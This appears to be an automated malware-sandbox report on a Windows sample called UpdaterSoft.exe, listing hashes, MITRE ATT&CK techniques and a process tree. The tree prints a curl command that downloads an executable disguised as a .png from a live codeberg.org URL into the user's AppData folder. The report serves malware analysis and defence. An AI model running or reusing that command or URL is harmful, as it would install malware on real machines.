0a6c1e1a35167a351a778fb7b097644bbab9dce817377e8fae36c34ceddcfa52

Analysis

max time kernel
94s
max time network
156s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
20-12-2024 03:39

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General

Target

UpdaterSoft.exe
Size

100KB
MD5

cd2b6c28a8690c90953625c38ad21c05
SHA1

cc9f6d12be5f2ee6001af0a6d7399619bb2ea721
SHA256

1ecd4b2fc4c5ba45e58005df147b1f8cf51db8fabe1be76fb2ece1e55d42c4ff
SHA512

8c54b0e9baba8be6105072e36aa2b02672a29c5ed138c5de306a55468c2ead66afe786a88719e0404cada45e1bbf0cf4f4ca24acb98f84b99ded31a09b9f8152
SSDEEP

1536:kE/hIxHHWMpdPa5wiE21M8kJIGFvb1CwL/L5syuyUzR9aBfI+v3GVm:3SwMpdCq/IM8uIGfh/L5sNFVm

Score

3^/10

discovery

Malware Config

Signatures

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	curl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	UpdaterSoft.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3860 wrote to memory of 3912	3860	UpdaterSoft.exe	82
PID 3860 wrote to memory of 3912	3860	UpdaterSoft.exe	82
PID 3860 wrote to memory of 3912	3860	UpdaterSoft.exe	82

C:\Users\Admin\AppData\Local\Temp\UpdaterSoft.exe
"C:\Users\Admin\AppData\Local\Temp\UpdaterSoft.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3860
- C:\Windows\SysWOW64\curl.exe
  curl -o "C:\Users\Admin\AppData\Roaming\MicrosoftOpenBoard240626703.exe" "https://codeberg.org/whoachek/33333/raw/branch/main/1/vqafmixmmr.png" -H "User-Agent: Mozilla/5.0" -H "Accept: */*"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3912

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\MicrosoftOpenBoard240626703.exe

Filesize
1.9MB

MD5
f1c31db067049938dd0de6ebcecccbff

SHA1
95def6211ec6e9355fee6141dec60077e6ab2daf

SHA256
3f9a251541dd3516a0a75a3591733c3cd76207e09bc3ef9e7d0ae2b9d00b0288

SHA512
6c0aea6d5b20b17f02df92ca55a57499b1f1d27e7ba0f99c4ab39ffe9fa83de4a01b008cb78dd4ff0555848bf9ece56c989c4267bd4ccff3cd7b9d604701e3ea

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